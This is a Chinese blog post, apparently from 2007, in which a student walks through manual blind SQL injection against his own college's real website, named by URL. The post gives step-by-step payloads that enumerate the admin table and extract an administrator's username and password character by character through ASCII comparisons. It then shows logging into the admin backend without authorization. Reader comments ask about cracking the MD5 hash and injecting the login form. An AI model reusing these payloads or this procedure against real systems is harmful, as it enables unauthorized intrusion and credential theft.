您的位置: 网站首页 > 黑客地带 > 阅读文章

全手工注射南湖学院

  这几天在重新学习和研究ASP注射,打算把ASP注射学精后再开始学PHP注射。我是南湖学院的一份子,但学院的网站真的做得不怎么样。当我开始学注入的时候用工具就轻松进去过。但如果不懂注射原理,即便用这些工具进入无数个网站,最终还是菜鸟一个。所以要向高手进阶,就不能停留在工具上。下面我就拿南湖学院的网站试下手,对它进行一次全手工注射。希望学院的老师看到的话不要介意。OK,Follow me!

我们随便打开一个界面,http://www2.zjxu.edu.cn/nhxy/show_news.asp?id=768,在其后面加个单引号,看看返回结果:
南湖学院
在后面加上and 1=1 和and 1=2,看看返回的结果分别是什么:
南湖学院

南湖学院

不用我说了吧,明显存在注入点!

接下来我们试着手工猜解网站管理员用户名及密码。

首先第一步,猜解数据库里是否存在admin这个表,提交
and 0<>(select count(*) from admin),看返回结果:
南湖学院
返回正常说明存在admin表。

第二步,猜解数据库里存在哪几个列名或字段。一般来说就是id、username、password和admin。
输入and exists (select id from admin)
南湖学院
返回正常说明存在id字段,继续猜解其它字段,结果username、password和admin都存在,这里不再罗列。

第三步,我来猜解admin的id号是多少。因为管理员帐号我想一定存在admin字段里。从1开始猜,提交and
exists (select admin from admin where id=1),结果返回出错:
南湖学院
不着急,继续猜解。经过一两分钟时间我猜测到存在22,26和27三个id字段,
and exists (select admin from admin where id=22)
and exists (select admin from admin where id=26)
and exists (select admin from admin where id=27)都返回正常。
到这里我想admin字段中的值不是单一的,也就是说应该存在三个admin用户名。

第四步,我猜解一下admin字段中用户名和密码的长度。随便选一个id,我就选id为22那个吧,从3位数开始猜
解,经过几次失败之后便发现提交
and exists (select admin from admin where id=22 and len(admin)=6)返回正常了,如图:
南湖学院
这就是说长度为id为22的那个用户名长度为6。
猜密码长度也一样,把admin改成password即可。

第五步,我就开始猜解admin字段中的内容,即管理员用户名。提交:
and exists (select admin from admin where id=22 and asc(mid(admin,1,1))>97),a的ascll码是97,我的习惯是先猜字母型的嘿嘿~~,结果返回正常:
南湖学院
输入and exists (select admin from admin where id=22 and asc(mid(admin,1,1))>105)返回还是正常,继续,当输入>120的时候返回出错了,而当输入<120时候也出错了,也就是说id为22的这个admin用户名的第一个字母的asc码就是120!!
赶快去查下ASCLL码表,翻了下这个学期汇编课本书后面的ASCLL码表,没找到,我就用VB临时写了一个ASC转换工具:
南湖学院
原来是字母"x"!
猜出一个来了,接下去要做的就是重复第五步操作,猜解第二个字符(mid(admin,2,1)),第三个字符(mid(admin,3,1))……
大概十多分钟时间,我将6个数全部猜解了出来,为"xu****"(这里我就不全部写出来了)。

第六步,就是猜解"xu****"这个用户的密码。跟第五步是同样的方法,把admin换成password而已,提交
and exists (select admin from admin where id=22 and asc(mid(password,1,1))>49),49对应的是1,我
打算从数字开始猜。返回正常。当猜第二次的时候返回却出错了!哈哈,那就是50了!转换过来后就是2。提交
and exists (select admin from admin where id=22 and asc(mid(password,1,1))=50)返回正常!最后再测
试确认一下,提交:
南湖学院
正常显示!!
重复第六步操作继续猜解剩余的密码内容,用不了十来分钟我就把密码全部猜解出来了,为"22****"。

第七步,也是最后一步,就是找网站管理员的登陆界面,我用"google hack"技术马上就把它找了出来:
南湖学院

最后登陆进去看看,嗯,这就是南湖学院网站的管理后台了:
南湖学院

  大功告成!!的确,看起来过程很烦锁,但ASP注射就是这样的,一个网站用手工拿下比用工具拿下要欣慰得多,当然自己学院网站我不可能传ASP木马、提权什么的。

  我已经发邮件通知管理员,希望尽快将注入修补。其实学院里很多分站都存在严重漏洞,可以轻松拿下,比如学生会的,团委啊什么的。我花时间写这篇文章无非是练习和熟练一下自己的ASP手工注射技能。我可没搞任何破坏的哦,自己的学校嘛呵呵,最后还望老师见谅。ASP注射就告一段落了,接下来的安排是开始学习PHP语言及PHP注射,不过快期末了,要考试了,真的没多少时间去自学课外的东西了,尤其是我喜爱的hack技术。

  • 属于分类: 黑客地带
  • 本文标签:
  • 人气指数: 2,315
  • 文章作者: 野球小子
  • 生产日期: 2007年5月31日 - 17时05分25秒
看看还有没有您感兴趣的:
    • No Related Post

  1. dwefwef
    四月 18th, 2008 at 17:47 | #1

    弱弱问一下,猜解出来的密码是经过md5加密的,用这个密码去登录,也是登录不了啊,怎么办?

    [回复]

  2. 野球小子
    四月 18th, 2008 at 18:56 | #2

    那你要先对密码进行MD5解密后才能登录啊~

    [回复]

  3. fwelf
    四月 19th, 2008 at 00:32 | #3

    我又来了,还是我,再弱弱问一下,找到后台登录地址了,密码过滤了单引号,但帐号没有过滤,那应该提交什么SQL语句?

    [回复]

  • 您的大名(必填)
  • E-Mail (必填)
  • 您的网站(有的话就写一下吧~)
  • 评论内容:(必填)